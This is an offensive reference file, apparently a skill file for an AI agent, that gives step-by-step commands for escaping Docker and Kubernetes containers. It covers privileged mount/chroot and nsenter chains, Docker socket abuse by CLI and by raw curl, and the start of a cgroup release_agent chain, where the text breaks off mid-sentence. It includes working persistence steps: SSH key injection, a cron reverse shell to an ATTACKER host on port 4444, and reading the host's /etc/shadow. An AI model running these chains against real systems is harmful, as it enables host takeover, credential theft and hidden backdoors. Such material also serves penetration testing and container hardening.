Container Escape Techniques

# Docker Escape Chains & Kubernetes Escape Paths

> **AI LOAD INSTRUCTION**: Load this for step-by-step container escape chains covering common misconfigurations, Docker-in-Docker scenarios, and Kubernetes-specific escape sequences. Assumes the main [SKILL.md](./SKILL.md) is already loaded for fundamental escape techniques.

---

## 1. ESCAPE CHAIN: PRIVILEGED CONTAINER → HOST ROOT

### 1.1 Full Chain (Mount + Chroot)

```bash
# Step 1: Confirm privileged mode
cat /proc/self/status | grep CapEff
# Expected: 0000003fffffffff (or 000001ffffffffff on newer kernels)

# Step 2: Identify host disk
fdisk -l 2>/dev/null
# /dev/sda1 (typical VM) or /dev/nvme0n1p1 (cloud)

# Step 3: Mount host root
mkdir -p /mnt/hostroot
mount /dev/sda1 /mnt/hostroot

# Step 4: Chroot to host
chroot /mnt/hostroot bash

# Step 5: Persistence — add SSH key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA... attacker@box" >> /root/.ssh/authorized_keys

# Step 6: Clean up (optional — remove chroot artifacts)
exit
umount /mnt/hostroot
```

### 1.2 Full Chain (nsenter — Cleaner)

```bash
# Step 1: Confirm privileged + host PID visibility
ls /proc/1/root/etc/hostname
# If readable → host PID namespace is shared or we're privileged

# Step 2: nsenter into all host namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Step 3: Now running in host context
whoami    # root
hostname  # host hostname
```

---

## 2. ESCAPE CHAIN: DOCKER SOCKET → HOST ROOT

### 2.1 With Docker CLI Available

```bash
# Step 1: Confirm socket access
ls -la /var/run/docker.sock
docker ps    # list running containers

# Step 2: Launch privileged escape container
docker run -d --privileged --pid=host \
  -v /:/hostfs \
  --name escape alpine sleep 3600

# Step 3: Exec into escape container
docker exec -it escape chroot /hostfs bash

# Step 4: Persistence
echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
# Or add cron backdoor:
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /etc/crontab

# Step 5: Cleanup
exit
docker rm -f escape
```

### 2.2 Without Docker CLI (curl Only)

```bash
# Step 1: List images available on host
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json \
  | python3 -c "import sys,json; [print(i['RepoTags']) for i in json.load(sys.stdin)]"

# Step 2: Create container
CONTAINER_ID=$(curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")

# Step 3: Start container
curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/${CONTAINER_ID}/start"

# Step 4: Exec command (read host shadow)
EXEC_ID=$(curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/${CONTAINER_ID}/exec" \
  -H "Content-Type: application/json" \
  -d '{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")

curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/exec/${EXEC_ID}/start" \
  -H "Content-Type: application/json" \
  -d '{"Tty":true}'

# Step 5: Cleanup
curl -s --unix-socket /var/run/docker.sock \
  -X DELETE "http://localhost/containers/${CONTAINER_ID}?force=true"
```

---

## 3. ESCAPE CHAIN: CGROUP RELEASE_AGENT → HOST COMMAND EXECUTION

```bash
# Step 1: Confirm cgroup v1 + CAP_SYS_ADMIN
mount | grep cgroup
# Look for "cgroup" (not "cgroup2")
grep CapEff /proc/self/status
# Need at minimum CAP_SYS_ADMIN

# Step 2: Find writable cgroup mount
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
[ -z "$d" ] && echo "No writable cgroup found" && exit 1

# Step 3: Create a child cgroup
mkdir -p "$d/escape"

# Step 4: Enable release notification
echo 1 > "$d/escape/notify_on_release"

# Step 5: Set release_agent to our sc